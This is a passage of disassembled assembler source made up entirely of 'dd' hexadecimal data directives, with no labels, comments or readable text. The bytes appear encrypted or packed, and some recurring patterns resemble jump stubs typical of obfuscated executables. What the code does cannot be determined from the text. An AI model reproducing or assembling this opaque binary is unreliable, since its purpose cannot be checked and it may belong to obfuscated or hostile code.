9976DB66h, 0FE157A05h dd 5A8315A0h, 0FD26F8A0h, 0C1B65F43h, 0E6B342A5h, 721770FFh dd 6197009Eh, 47D78900h, 0E0CACD2Bh, 15A0F907h, 53B63B0h dd 58E3BB58h, 0E0AAC72Ch, 0B771B207h, 0EE2240D3h, 641147B0h dd 425CB3AFh, 9A258EB7h, 35C0DE35h, 0D35E40D0h, 6FFAA46Eh dd 8830EA2Bh, 5D41FB2Ch, 0E2B2E8B6h, 406EB6AAh, 0D2355191h dd 7E09Eh, 0C3128096h, 0B51E58CAh, 1332E0Fh, 0F3BF0000h dd 0FA3ACA96h, 833B9EBAh, 0E630FFE6h, 0E0FA294Bh, 0EB40D4Eh dd 0E10F449Ah, 6EF95207h, 5E940A09h, 0B13C62B1h, 47D7C74Ch dd 0DA801EF2h, 40FA2B47h, 0B1E7B75Ch, 6EF1A9E1h, 674740h dd 0BCD80000h, 4BF1AD67h, 2DBDA3EAh, 0E6838E11h, 4BDB347Fh dd 0F6811DF6h, 0DBB353CDh, 0BD8669F6h, 0F5588417h, 0CA7FE67Eh dd 0CB2E4A8Ah, 0F97FE67Fh, 89F2AC64h, 10A862E3h, 3DA0BC7Dh dd 637FE67Fh, 8A1B47F9h, 0F15A7506h, 6ED7C74Ch, 6E3FC2DEh dd 4CA5FFE6h, 9B2F16h, 0BDE70000h, 155FF41Ch, 0BCE22D8Eh dd 0F99F0831h, 0CA96F342h, 9AB41E3Ah, 0D93207E0h, 742AE94Eh dd 1C82913Eh, 99FD6591h, 65A607E0h, 524CC7ABh, 6BCEBB1Ch dd 0E098EC4Fh, 47C11A07h, 0DE5D5F1Ah, 39C932A1h, 0E0D9C71Dh dd 0EF7AD30Fh, 3CD9898Ah, 45AED762h, 193575B5h, 0FE0A9B6h dd 0B41783DCh, 0E20FE0A9h, 0BE50E389h, 52DC547Eh, 24D5D01Fh dd 71392EAAh, 28CE707Ah, 0F41EEDA7h, 312E2AEBh, 7EDF85E8h dd 0A9C5550Bh, 17E11F53h, 4235DB30h, 0E0E3C326h, 2F98F107h dd 0B1E74089h, 5692BCFAh, 9D4D9981h, 0A62F6390h, 0CE377DE3h dd 9EC2C728h, 0B59CF20Eh, 35CA07E7h, 0D36C1DDh, 7B083893h dd 0FB646E10h, 96080B70h, 3E60B360h, 72363B3h, 7E767A4h dd 0C8D63DD2h, 0BF45B95Fh, 93468AFAh, 57BCA05Ah, 0AF641147h dd 0FA49ACC8h, 523E3689h, 37EA9509h, 3BA4FD3Eh, 1DAB81ABh dd 9C0148EEh, 11FE63F6h, 4770028Dh, 346AA98Dh, 0DEC04FA4h dd 46842A53h, 99247A99h, 3FAh, 5CBB9300h, 0A42F6FA7h, 3FCAD43Fh dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch dd 0E9742AEBh, 85108E84h, 4BE46852h, 1C890000h, 53DB6824h dd 4890000h, 0E0895024h, 405h, 42D00h, 4870000h, 0C895C24h dd 0EABD5524h, 452DEF74h, 4501ED83h, 4F6FF581h, 0ED817878h dd 4D96FD41h, 545DE889h, 83240C8Bh, 895604C4h, 8B850C6h dd 1000000h, 583089C8h, 240C8B5Eh, 81E28952h, 4C2h, 4C28300h dd 5C241487h, 5724048Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch dd 0FFFA3BD8h, 0B8E99F62h, 800429Ch, 0E0FFC503h, 64008D31h dd 7C21B894h, 1DBFA9DCh, 2307E8A5h, 498F6E66h, 6EFEF55Eh dd 400FB724h, 59B8FBDEh, 3AFB3B28h, 441E40F1h, 7AE2BBD7h dd 7A345608h, 46A3E5B4h, 1E96DC09h, 435805B1h, 34AC51FDh dd 64CFBEBh, 6749362Ch, 51D98BB6h, 3476AB30h, 92D03CAh dd 7BCC3364h, 3AF88762h, 1F286778h, 444F8D8Dh, 0B52B0800h dd 7FA2EC9h, 1CD98D89h, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 120BB4C3h, 0BD8B10C4h dd 7FA051Dh, 31AD85C7h, 6CA007FAh, 29560000h, 0FA2A2585h dd 85C75A07h, 7FA2BD9h, 0 dd 80D7B860h, 6E82FDDh, 73000000h, 8FC55391h, 595F56C8h dd 0EDB5FF61h, 6A07FA0Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 2975C350h, 9C036305h dd 8139A1A3h, 9C4182D7h, 9995FF33h, 6A07FA17h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 3395C357h, 0FA0CE985h, 0FF006A07h, 0FA101995h, 0EBC08B07h dd 0A942205Dh, 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 406FC1D5h dd 0B78F1C3h, 1AB60636h, 4AD4EE4Eh, 4AB20722h, 43A1CD50h dd 42AB9233h, 0DE12B512h, 85176A4Eh, 0E3242972h, 216A046h dd 0B98C77A8h, 0E12B8DC5h, 0BBCB65DAh, 0D63B535Fh, 868F6331h dd 0E1AB8733h, 42B7365Ah, 66E4C4A6h, 9AE9203Fh, 0E9000000h dd 4707390Bh, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh dd 0B69F8995h, 97BBEFh, 0C3B1B6D0h, 527155h, 0C20DA437h dd 0E0910D3h, 7 dup(0) dd 0F50E900h, 1B680000h, 0E9080047h, 0FFFA3994h, 480068h dd 398AE908h, 0F168FFFAh, 0E9080048h, 0FFFA3980h, 49F668h dd 3976E908h, 7168FFFAh, 0E908004Ah, 0FFFA396Ch, 4AF468h dd 3962E908h, 0B568FFFAh, 0E908004Bh, 0FFFA3958h, 4C7968h dd 394EE908h, 3068FFFAh, 0E908004Dh, 0FFFA3944h, 4DE168h dd 393AE908h, 9168FFFAh, 0E908004Eh, 0FFFA3930h, 4FD768h dd 3926E908h, 3F68FFFAh, 0E9080052h, 0FFFA391Ch, 533868h dd 3912E908h, 8E88FFFAh, 0E52DDA10h, 3FD683B9h, 937C295Fh dd 0E928D50Bh, 964B7FB5h, 43A64ADh, 0ABE1BD57h, 568C12FEh dd 0FE346AA9h, 58BBD72Fh, 7E07E6C8h, 92BC6118h, 4B67953Ah dd 0FFE68DE8h, 523BB50Eh, 5300A6C1h, 0EE53DEC0h, 94E97925h dd 0FD980F7Eh, 2EABDADBh, 80E11FC5h, 0ABC75709h, 7E0D011h dd 0A5D15CB5h, 7E08B3Eh, 3E0DC748h, 8B7FE2FEh, 4CA507E0h dd 8D336BA7h, 6E9385BDh, 3D2340h, 0F3B40000h, 0FA3ACA96h dd 0A5306EA5h, 9462D67Ch, 4307E09Bh, 73113019h, 6FFF8FABh dd 0E088F053h, 17BD1607h, 9AEA75CEh, 28CED045h, 0E0894DB4h dd 1CD65707h, 6E94DD15h, 0C17B40h, 0A70C0000h, 42A7326Ch dd 0F444CFCFh, 0A22D719Fh, 0ED26D379h, 76019D75h, 0F459E44Dh dd 0C5EF7F1Fh, 211479D1h, 42D07581h, 2A8D15Ch, 7ED450C4h dd 858EFFE7h, 0DD36E319h, 80731C1h, 86EC4BE2h, 48F0F04h dd 46CD72DBh, 0CF1FB258h, 4BC89A7Ah, 365FEA53h, 65A2F90h dd 0A0BC5A76h, 91EA07E1h, 0D18FFA5Bh, 42E22541h, 77D00FDEh dd 1F7F92E7h, 0C9D53CE9h, 98B5420Bh, 53F22D99h, 0CEEh dd 144A54C2h, 0BDF3AB67h, 63990510h, 0F4559B6h, 0B9EFAF62h dd 2AE7D085h, 83913E74h, 0D838E51Bh, 30E390C6h, 1169386Eh dd 0E6CA92F5h, 0A35AC007h, 0BAA867BCh, 50DB445Ah, 3DD48127h dd 957E2B61h, 0F31CD309h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh dd 7E09BD7h, 9FA660E1h, 406EA767h, 0CF05h, 6CA79600h, 0FA8519F6h dd 78DD68D1h, 20750599h, 7508AEF0h, 0E687CD49h, 207E95FFh dd 0E12852EAh, 74012482h, 1BA6F819h, 36E389F2h, 1D36C1DDh dd 4559B86Ch, 982891BAh, 93CF666Eh, 0E6C81477h, 6FE942FFh dd 791F59CBh, 7427C5E1h, 0AF0407E1h, 84AD3866h, 63C95DEh dd 0A3FB196Eh, 0E849EF18h, 132FBFA1h, 0FDE52BFh, 0A9FE8EE7h dd 82AB3668h, 22EF44DCh, 7899467Ch, 0A5AB6826h, 45809998h dd 0C09A6h, 2F6FA700h, 0D8C64CF9h, 7E20F5A2h, 2A749B48h dd 0D4CA47F4h, 0CEB56A9Eh, 78255B43h, 1FCC029Ch, 0CA77ADF1h dd 501F5549h, 0CB79DCF8h, 41A707E6h, 346AA78Ah, 0F64A4h dd 83CF329Eh, 9CF5FFE6h, 80BB8F6h, 5EB10696h, 0A55C9A40h dd 0FD607CBCh, 23FFE682h, 0AE17878Eh, 0C970709h, 83903DE3h dd 0E82B901Bh, 42D380B6h, 0A76CD15Ch, 8351B4D0h, 267FFFE6h dd 0D1ED2DBDh, 0FFE6836Eh, 57953B94h, 0CEBB657Eh, 0E4E60292h dd 8307E089h, 89C42743h, 99F207E0h, 1451AAF3h, 6ABA4AB0h dd 372960FFh, 0DCC252A7h, 7C982851h, 0F056BA19h, 0B048EE47h dd 50DCA694h, 4BDB34F8h, 0F8831BF6h, 931E8093h, 0C85B016Ah dd 0F686DAAFh, 6E3C50DAh, 6DFD56FFh, 7898ED2Dh, 6729B26h dd 0F05E39A3h, 25D278D1h, 0CD7AB0EEh, 0A79A5846h, 0A869E93Ch dd 0B18CE6Dh, 7E980000h, 0D53DEA20h, 2FE693C9h, 838C396Fh dd 0D938E51Bh, 0A65B8FC5h, 144A54BDh, 0BBF1AD67h, 669C020Eh dd 0E445AB9h, 68CBE73Fh, 8E07E6CBh, 6CA77128h, 838CEF0Bh dd 25BAFFE6h, 0E14AB3EBh, 144C3D56h, 0A2266884h, 0B30C07E0h dd 0F36D1C7Dh, 42CE2363h, 2A8D15Ch, 0DAC4588Eh, 9D2D860Fh dd 2FBAEC73h, 0C86E7D1Ah, 76A20935h, 2BACFFE7h, 82326A71h dd 2ED03875h, 61000000h, 3ACA96F3h, 0E0D31D1Eh, 0DE6EC707h dd 0E1178789h, 0E0D2086Dh, 5D41D207h, 8967A27h, 0A7CDE7Dh dd 56960000h, 0E0D2D73Ah, 0FEA4FD07h, 0CA96F347h, 0C8E21E3Ah dd 0A3FC07E6h, 54B7D313h, 8207E6C8h, 0C883E602h, 58B107E6h dd 5CB149EFh, 4B1E7B7h, 0EB048F0Fh, 1632C29Eh, 0FE70D69h dd 65C8E424h, 27FFE684h, 1871B2ECh, 40D02972h, 407628EBh dd 931E8093h, 0C1510F7Ah, 0E0AD43A5h, 58166F07h, 9E64A2EFh dd 1382215Ch, 9D00000Ah, 42EF2579h, 0EB98CED0h, 913E742Ah dd 3DEA207Eh, 6094CAD4h, 514DC4ABh, 0F8A66E1Bh, 0A3FB15C2h dd 4B53C06Dh, 0D2EE4615h, 7E6CC6Fh, 0E0782F95h, 0FFE68379h dd 0D666FA8Fh, 0E6C815BAh, 0D666BF07h, 0D60C9281h, 7FE2FE3Eh dd 0A507E6C7h, 3C45D24Ch, 252AD188h, 5D41D27Fh, 39B78CDh dd 5FEAB45Eh, 0E4FD9036h, 0F2BBBA5h, 0FE143CDh, 73E2A0F9h dd 0DC966434h, 99802A1h, 0FE180000h, 55BD6AA0h, 0AF661349h dd 30CB9EFh, 59B8659Bh, 26DB0F45h, 94CAD43Dh, 3B712DE7h dd 0E61C828Eh, 8EC4DA39h, 0E84B67BFh, 0E07E6CCh, 7CBCF1A8h dd 0E682FD60h, 24CA23FFh, 77029C77h, 129D0112h, 0E2E9A314h dd 38748BAAh, 46348h, 96F3D900h, 851E3ACAh, 1F07E6C8h dd 32E136C6h, 50B9E530h, 0F8A66D1Ah, 0C7DA416Dh, 99F007E6h dd 0D91B37C7h, 0FD0FE0E6h, 0D175E6A4h, 9BD69664h, 915FCh dd 237B9B00h, 0CCD240EDh, 722CE996h, 1E808F3Ch, 0C8D63BE8h dd 0C2A95E92h, 6C194F4Fh, 13C0F6A8h, 0BE6BA1FDh, 44134955h dd 0CD6DD0ECh, 2D9307E6h, 326CA776h, 7B2D57A7h, 1F7F9383h dd 75C348A5h, 0E6BBF659h, 5AC31CFFh, 920C07B4h, 2D71A207h dd 0C7D73DA2h, 0F0AAE33Ch, 0DF990A48h, 74C4A0D8h, 3CA3E38h dd 0E0CF0000h, 0FFE68379h, 0D666FA8Fh, 6A0F8F81h, 0BA52F8A6h dd 0E6C83B9Eh, 3BD46907h, 46AFD863h, 0ECB261B6h, 6D0A09B6h dd 0E6C7EE51h, 52BB1407h, 0EF2277C7h, 55FB24AFh, 7BBA95F4h dd 0FB17BE47h, 5CBFDB6Bh, 8A07E6F4h, 1C38C831h, 0FE113DAh dd 74F1AF08h, 0D79664E4h, 854FD9Ch, 0BA5C0000h, 1101AEE4h dd 6BAA578Dh, 0BF50FD33h, 15FCA9DFh, 6A1F5389h, 0D80E9081h dd 7FB5E92Bh, 2A603ED2h, 0D208967Dh, 2C8FAB03h, 5A07E6CEh dd 67BC3DF4h, 166F1ADh, 0D7008B13h, 0F81BC86Eh, 5DB61BA6h dd 0C051B641h, 21EE53DEh, 0A5D6F27Dh, 940543EBh, 8B9BD3DAh dd 11393874h, 0CA000003h, 0FD607CBCh, 23FFE682h, 911C828Eh dd 0E559FF68h, 0FFE68384h, 0DA60EF9Ah, 0DCF01DF6h, 2F4BDB44h dd 7E71BD5h, 0B30898F1h, 5B083E60h, 3569AAB8h, 0D2CC45AAh dd 10B51E47h, 0E50E9905h, 0B1D8F17Ch, 9031FAFh, 8E0FE0C6h dd 0B9CD7664h, 0D97E922Ah, 73BC623Ch, 0E16C32DEh, 8E914FB8h dd 6D966482h, 7909332h, 0F6200000h, 4DC572A8h, 0A76E1B51h dd 0FB14C1F7h, 51C06DA3h, 2EE3174Dh, 9CD2CC45h, 437925EFh dd 0EE247A96h, 96CCD241h, 0F0536FC7h, 1607E6CEh, 6CA7F9B0h dd 0C34DA232h, 812750DBh, 148A89EEh, 0AEF02489h, 4757BE23h dd 702A63BCh, 813B6CC8h, 0E6B85DB2h, 1E809340h, 8EE018E8h dd 137E3874h, 0F000000h, 2436Dh, 0D8FB2500h, 0D2D81BB6h dd 128C872Ch, 67BCB56Ch, 469F4AAh, 0D9028D11h, 0F556CA70h dd 7FFE682h, 324EDE82h, 7E6C8DFh, 0C71CAC05h, 0D4BF414Ch dd 2B5AE02h, 5DB66399h, 0EC9DB641h, 0CEC8E474h, 0F40FE0DBh dd 85ACDD9Bh, 74AF9664h, 6D9D5h, 5F3FD700h, 8967C29h, 0AEF025D2h dd 5A44CB78h, 49A7724h, 0FEE59ACEh, 0A8558B13h, 4FFC326Ch dd 0FAA7DDC1h, 804F8519h, 0D0A90C28h, 71D707E6h, 326CA7BAh dd 0CDD142A7h, 3BF52642h, 0ACE2BC57h, 748FA4DCh, 164238h dd 9DF20000h, 0CD842A74h, 19F6Dh, 0C9E52500h, 0FFE68366h dd 0D68D338Ch, 0E68380E0h, 65FB8EFFh, 0C86DB9D5h, 207907E6h dd 8AD83B90h, 8AE90588h, 7F202B2Ch, 0BD628B16h, 97C04B53h dd 3D749E2Eh, 0BDF48020h, 0B764A248h, 9EB7425Ch, 0C5D939EBh dd 623CD53Ah, 0E40090F9h, 0FE0E3EAh, 42C17FD8h, 8996649Dh dd 628AF4Eh, 8E880000h, 0E52DDA10h, 3FD683B9h, 937C295Fh dd 0E928D50Bh, 964B7FB5h, 43A64ADh, 0ABE1BD57h, 568C12FEh dd 0FE346AA9h, 58BBD72Fh, 7E07E6D0h, 7CBC6118h, 0E682FD60h dd 24CA23FFh, 77029C77h, 129D0112h, 270BC5F6h, 29C76ECh dd 5B936399h, 0F938748Fh, 7, 0E66D8Ah, 0E0060000h, 0FFE68380h dd 0D565FB8Eh, 0CCD24095h, 0C86EB226h, 0FF5807E6h, 0A5F91A6Fh dd 4D51C26Fh, 0F4AA68BDh, 0E7A2BB4Eh, 62CBD33Dh, 137692D2h dd 4107E6C8h, 8EAA42E8h, 0FE0F494h, 6878EE3h, 45E7D0A4h dd 8A30991Ch, 0C72AE841h, 0E8966417h, 5780EADh, 0DE380000h dd 35DD8AC0h, 8F863369h, 0E32CD90Fh, 39D885BBh, 46FB2F65h dd 0B4EAB45Dh, 5B910D07h, 63C62AEh, 0AEE4BA59h, 86B87DFh dd 2E07E6D1h, 6CA711C8h, 0F9841AF6h, 0ADD767D0h, 6CA3F78Bh dd 0C997B832h, 4DB245EBh, 848D8C6h, 0D23E60B3h, 0FFE6C36Fh dd 79973C95h, 0D0EC7F25h, 1201E59Fh, 69A7FC8Ch, 0DB81AA35h dd 0CF95CD9Dh, 7333874h, 0C4000000h, 1B6Dh, 6CA70600h dd 0D142A732h, 0B0E942CDh, 9D0112F6h, 4559B80Dh, 207A619Fh dd 13000000h, 0F3AB67BCh, 0EC993F68h, 0C0EC7727h, 0FFE6835Ah dd 0AA68BD55h, 9A4069F4h, 987B5F19h, 0A719D006h, 8EA7326Ch dd 0B6E829FBh, 65A1BD4Dh, 8107E6C8h, 0D0439828h, 0D60098CEh dd 99D1468Eh, 3E60B1B1h, 7B218AB3h, 0CE5945CEh, 0B5E9297Eh dd 0F3990510h, 9E58F792h, 0A3A9E182h, 0E7504EC1h, 92AEEE7Eh dd 7E69D2Fh, 0F07B23F1h, 872D86C7h, 8E85AFEFh, 0E544D1CCh dd 0D17EF298h, 8B0FE722h, 0C64DA232h, 1EF5A2D8h, 769BF080h dd 0CE749D28h, 7A96EB3Bh, 0CA709924h, 0B0402069h, 0CF004670h dd 1A68C643h, 8B9E0074h, 6BC407E1h, 647342ADh, 8726619Eh dd 432h, 0D006987Eh, 79AFEF23h, 1F5549CCh, 0CB019D72h dd 75ABF31Eh, 6EA38C41h, 0C74DFA30h, 1CF4A1D7h, 749F4C82h dd 0CD25F42Ah, 0E6D24EB1h, 570E7407h, 0A2326CA7h, 35DAC44Dh dd 1039C4DAh, 947F2C6Ah, 103A7A0Ah, 7DF761B4h, 265D12Fh dd 30FFE728h, 0C1DD32D7h, 0F023881Bh, 0D60723AEh, 0C3DB381Ch dd 3485BD8Dh, 51233875h, 0D3000000h, 1C147793h, 0E942FFE7h dd 96F38C43h, 1D1E3ACAh, 7807E0D3h, 0D2B91C38h, 8EE707E0h dd 0B6469FE8h, 0B9EFAF61h, 5A44CC21h, 8C00A6CFh, 7E0D227h dd 395522F1h, 7E0D2D6h, 43AA3FCh, 0B1D4B957h, 5846C955h dd 4B75F7DEh, 77B857E2h, 51000003h, 3ACA96F3h, 0E0B4941Eh dd 2E83C307h, 831BCE2h, 0E0B3399Ch, 7E0E6707h, 0E0B2FF62h dd 26CC2507h, 94F984DDh, 3B941F7Fh, 0D9B04802h, 6ED7C74Bh dd 0E477B4DEh, 2485D0BAh, 51A6E67Eh, 2A749FC3h, 41D136C1h dd 0DA4EF45Dh, 0FDBB050h, 2FC7FD56h, 25799AEFh, 0A205719Ah dd 0D0FFE74Fh, 1970D177h, 0B75D050Bh, 0CAF37EE7h, 2BB5D161h dd 0B707E180h, 0A36ED35Eh, 7F55B8D4h, 227B07E1h, 739C2EB9h dd 0F86821B9h, 0AFC24C68h, 87E00FDBh, 389BB7F7h, 5EFFE74Fh dd 74215F05h, 0F74FF9Fh, 3649A04h, 2E4ADA86h, 7E17A94h dd 443DC832h, 321BDE80h, 0AEEE3EC9h, 0E1152F92h, 73EB5507h dd 0B85CB6AFh, 2DA147B0h, 7E0B1C6h, 911C8290h, 2DB8E62Ch dd 7E26E011h, 0E82C8119h, 0D58F10B6h, 6EB996CEh, 403440h dd 0BCC50000h, 82FD607Ch, 0CA23FFE6h, 73C6C324h, 0E682F457h dd 60C922FFh, 9BE6B4D0h, 9BF407E0h, 0A996C010h, 0AB7FEC74h dd 52B92DD3h, 5C07E0A4h, 0E21A21DBh, 0C9406EAFh, 5B019D74h dd 0D37Ah, 6CA70B00h, 0CF42A732h, 911C8293h, 0F74FF68h dd 0CA0A9A04h, 0E6834BAEh, 7B2079FFh, 0CE610797h, 0BEF4AA69h dd 67CAE626h, 3EFFE683h, 0E683BF22h, 4B8CE5FFh, 5CD84CF2h dd 3BFFE688h, 877CDFFBh, 51AAFFE6h, 8915FEABh, 0AE66BB53h dd 769D4AF0h, 5849D28h, 0C9AFCB5Bh, 0F507E09Ch, 83ECB260h dd 0C39DEC4Dh, 773B1733h, 0A630FDDh, 0B2EC257Ah, 3542CF7Ch dd 0ED76B619h, 1A83DCFFh, 9876055Ch, 2CCB0699h, 1CAh, 386E30E6h dd 0E117878Bh, 87BDE134h, 336935DAh, 0DD138B86h, 60BF4A9h dd 5FB56298h, 0B45C093Fh, 0C07B4EAh, 358D5C92h, 0E6D5B619h dd 0BF76DC07h, 0FE346AA7h, 0A0FE1166h, 9CC64DFAh, 719A2579h dd 103AD208h, 5078EB35h, 47FEA429h, 3ACA96F3h, 2D492EE5h dd 0FFE683CAh, 90369FF8h, 9C0EDCF8h, 0B30C07E0h, 9B95FC28h dd 1E9F07E0h, 0A7255D64h, 0C2C3406Eh, 73000000h, 43D50049h dd 0A76C0B54h, 0DA436CF7h, 1BC1DD35h, 0B6CA764h, 0E6838CEFh dd 0F861BAFFh, 63FF1368h, 0E187F0AEh, 7628E94Eh, 8843BFEBh dd 0DC37FFE6h, 34DF8CC2h, 0C3C6DF6Ah, 0BF10D9Dh, 3707E09Dh dd 0A42F6FA2h, 7BDC127Bh, 82C2520Eh, 2BB6E82Dh, 0ADE85C02h dd 930FDD73h, 238C12FEh, 0CBD33E93h, 0ED3FD95h, 0B0BB511Fh dd 55BC690Fh, 0AAA30622h, 78D1FFECh, 0A20A510Fh, 0B6F19998h dd 0D117h, 6737DF00h, 108E8431h, 0B6E82DDAh, 623CD380h dd 0C927F2Ch, 6EDA2D6h, 0B05D930Bh, 57043A64h, 2AFE5B9h dd 88578D11h, 0D6B11430h, 79DF07E6h, 346AA7C2h, 0DCC251FEh dd 821CF74Ch, 0EA28CEF7h, 326CA733h, 91D142A7h, 2A8F1A84h dd 0E750B9E5h, 273950B1h, 0C7CA7B97h, 338C07E6h, 0CED043A8h dd 65AB0098h, 863D4328h, 45AE495Ah, 7D21F29Fh, 0A126C6F2h dd 25EC1720h, 8A89EE79h, 3C6D8914h, 841DA82h, 0E1557F4Eh dd 841AF9DDh, 3256D0F9h, 33E08613h, 0DB88BEE0h, 0B5E92A38h dd 898012Ah, 0B23D61B3h, 50E389h, 933965ABh, 0EA7529E6h dd 91752F58h, 39E61C82h, 0D98988DAh, 0AFD8633Bh, 252DD46h dd 0AE3965ADh, 3F8DF85h, 91000000h, 6FA75CBBh, 0D43FA42Fh dd 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch dd 2AEB50DBh, 8E84E974h, 68528510h, 5122h, 56242C89h, 0C681E689h dd 4, 4EE81h, 34870000h, 1C895C24h, 535F6824h, 0C890000h dd 25BA5224h, 553F9E69h, 9E2344BDh, 5DEA2937h, 545AD389h dd 83240C8Bh, 815304C4h, 20B242Ch, 418F72F9h, 8418108h dd 72F9020Bh, 592434FFh, 8B04C483h, 8957241Ch, 4C781E7h dd 83000000h, 3C8704C7h, 55E95C24h, 0E7FFFA2Ah, 66D1D577h dd 2EB80DC2h, 3080054h, 0F2E0FFC5h, 0EA70DA74h, 92194925h dd 9C4DD325h, 200F0633h, 7A39C7ADh, 3335B7E3h, 0BB37C854h dd 272E9249h, 4616ABADh, 0FC665008h, 0B31F9CB7h, 0EB42921Eh dd 4A754E99h, 1F070D50h, 302BD8C8h, 0FD28C906h, 0D47EC034h dd 0D34D27C4h, 6F0451E6h, 623A32BDh, 612A3144h, 2119AF7Eh dd 0FD47659Dh, 1B7AB201h, 1F76200Bh, 9B63A8B5h, 0A76667ADh dd 1751DF8Dh, 383CC6D9h, 0E655D526h, 796A6307h, 0E9529852h dd 1A3h, 549E954Ah, 1AD52C27h, 46B198D3h, 0B4CAD1D7h, 5B7E41EFh dd 5D9752E4h, 0FCA3FB6Dh dd 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h, 9CACA3F4h dd 9EB9FCh, 0AFC945D2h, 0FC00EE73h, 9CBA9755h, 0A4E56D59h dd 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h, 539549F7h dd 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h, 43h dup(0) dd 6D849700h, 69F033A2h, 0EEh, 8 dup(0) dd 0E9000000h, 0FA5h, 58C468h, 0FE36E908h, 0C668FFFAh dd 0E9080059h, 0FFFAFE2Ch, 5B2E68h, 0FE22E908h, 0FD68FFFAh dd 0E908005Bh, 0FFFAFE18h, 5D2B68h, 0FE0EE908h, 0ED68FFFAh dd 0E908005Dh, 0FFFAFE04h, 5EC468h, 0FDFAE908h, 4F68FFFAh dd 0E908005Fh, 0FFFAFDF0h, 605D68h, 0FDE6E908h, 0CA68FFFAh dd 0E9080060h, 0FFFAFDDCh, 619B68h, 0FDD2E908h, 2968FFFAh dd 0E9080062h, 0FFFAFDC8h, 62EB68h, 0FDBEE908h, 3668FFFAh dd 0E9080064h, 0FFFAFDB4h, 652368h, 0FDAAE908h, 29DEFFFAh dd 96660D94h, 15F1981Fh, 8E8027AEh, 0FC09B037h, 0BFA43EC5h dd 48CFF613h, 0D45B6AA1h, 61E8DF2Dh, 0EB7243BAh, 0BC845B4h dd 6BEFE26Eh, 56D5FE32h, 0E2171CD9h, 0F4317CE7h, 9ED5EC1Dh dd 0A6654AF5h, 835187E7h, 0B91C7D0Fh, 0E3A01DE5h, 43E7E21Ah dd 9D70ADF8h, 2FB60FFEh, 43B70B8h, 7C358187h, 0DA8F3EFh dd 0DC461FD8h, 7641ACEFh, 0AA16281Bh, 3FA9D0h, 9D850000h dd 6AE9205Dh, 0E21730EDh, 0E44590E7h, 0FC6BEB81h, 0A6155227h dd 7CD7F729h, 0AD5C43EFh, 0C1187914h, 0F4C03306h, 65B6F33Eh dd 914A7F1Ah, 1EEFDD10h, 0BA89E8B3h, 17D0AAC4h, 0ECh, 259C6DF3h dd 0C0F707EEh, 0CA9DDA25h, 3FD7EA93h, 1114BF21h, 902B9A72h dd 0D4310845h, 721B52EDh, 0DD2DE2CBh, 3B124F37h, 0B958F3C2h dd 0ADEA7140h, 0E7E2D3C6h, 0AFC6198h, 7C17AE5Fh, 0AC4BE631h dd 82CD6851h, 0BE65EC37h, 6CDB764Fh, 3BB8EF2Ch, 0EF7CF539h dd 92D158A3h, 0CC675EABh, 5D9D4481h, 0F4FAB734h, 0F5AEFDCh dd 33108DC4h, 0D3F77157h, 9F6A5188h, 0F28D38D2h, 3E255CA7h dd 0FEBDFAC3h, 8FFDAA57h, 1864EBC0h, 0E8100CD4h, 145FA3EFh dd 0E5B28BC9h, 7B461D68h, 0D3038h, 0E7DE3100h, 7241B960h dd 1B844EBh, 8A3DD37Ah, 18A15C03h, 66ECF791h, 0F49B229Bh dd 8027AE07h, 0DB43B8Ah, 73EC5FCh, 6F5E1B98h, 85BEEFE2h dd 0EA2CD551h, 0C17A4630h, 396623A0h, 7BC6E7E2h, 0E11CF330h dd 53AA51D8h, 0B2442B62h, 3FFBEFBh, 0E9205D9Dh, 7C1F3A6Ch dd 8A0786EFh, 0EFDC2ECDh, 0BC79F62Dh, 1CEFDC2Eh, 0F84986D1h dd 24DD12ADh, 0F6EFDC2Fh, 7413AE07h, 37942F86h, 4E8511Ch dd 0C073CE99h, 1D0AA25h, 0B7h, 0E19E1B9Ah, 41EFDC22h, 0D58DB9F6h dd 3BF7E12Ch, 4B881806h, 912C8574h, 77AE17F2h, 1CE5FCCEh dd 66A3FF53h, 1B775E93h, 0B049E7E2h, 3AD37A01h, 0D2B9F08Bh dd 0F1C03839h, 83C00BA6h, 285F9CDCh, 7C3BA9ABh, 41C813EFh dd 164D82CAh, 0ABAD4F6Dh, 0DC1992B7h, 5048F06Dh, 57A2F771h dd 0F5CC3920h, 0BC482F6Eh, 0E21F6A05h, 89C7FE0Bh, 1D68858Eh dd 2E2C6F3Ah, 3300000Ch, 0BB62E9DCh, 46ED7443h, 0D57C03BAh dd 5E058C23h, 0F9931AA3h, 249D68EAh, 0B005F69Dh, 3D888229h dd 0C7FE0FB6h, 1D9A0940h, 0EFE27060h, 6D5387C0h, 0FBA22990h dd 957CB302h, 6CB75269h, 6D74702Fh, 538A259Ch, 169A57D4h dd 0AFFAE7E2h, 0FF629B72h, 0D01BB609h, 4787FE85h, 3056D30Ah dd 0E2EF7C48h, 0E3B76097h, 0CAF91115h, 6883E42Fh, 0F26FA6B1h dd 0EFDC5D35h, 3A0D4A95h, 0DC5D4C05h, 0A36ED9EFh, 0AA7BE54Eh dd 50DCD0h, 9DB80000h, 8831CC5Dh, 8B89063Dh, 0CFEF7C23h dd 30A8C026h, 81BE004Ch, 154AE530h, 0EFDCB85Ch, 5EB37EE9h dd 0D0AA98D5h, 25ECh, 5D9DC800h, 0E9843DCCh, 9F1C539Eh dd 0EF7C1C1Dh, 6CA13C87h, 0EFDC1DB3h, 0B70AD540h, 0D0AA3A8Ch dd 745h, 75C92100h, 0A5000008h, 0E9205D9Dh, 0E1ED0B6Ch dd 3168B3DFh, 8530CBB2h, 29987148h, 